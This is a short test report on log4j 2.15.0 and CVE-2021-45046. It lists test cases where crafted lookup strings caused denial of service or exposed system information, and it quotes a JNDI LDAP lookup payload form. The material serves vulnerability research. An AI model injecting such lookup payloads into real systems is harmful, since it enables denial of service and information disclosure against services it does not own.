cve-2021-45046

Although log4j RCE (CVE-2021-44228) was patched in 2.15, a new vulnerability, CVE-2021-45046 (causing DoS), has been discovered.
Below are the test results.

[Test Environment]
log4j-2.15.0 (api , core)
JRE-1.8.0
jdk1.8.0_151
Eclipse IDE (Maven Project)

1. Log4j RCE (CVE-2021-44228) syntax test -> Not Vuln

2. Inserting an arbitrary ctx object name -> Not vuln

3. When inserted with the same name as the object receiving context -> DoS occurs due to infinite loop

4. Inserted in the form ${jndi:ldap://127.0.0.1#[ldap 서버 주소]} -> UnknownHostException occurs, no DoS

5. In the form jndi:ldap://[ldap서버]#[ldap서버] -> Not vuln

6. Inserting Java code -> DoS occurs via illegalArgmumentException

7-1. Inserting Java syntax -> System info exposure

7-2. Inserting Java syntax -> illegalArgmumentException, DoS occurs

-> When checking where the illegalArgumentException occurs, the Java syntax that enables System info exposure in 2-5 through the switch-case statement (${java:version}
appears to be an intended routine.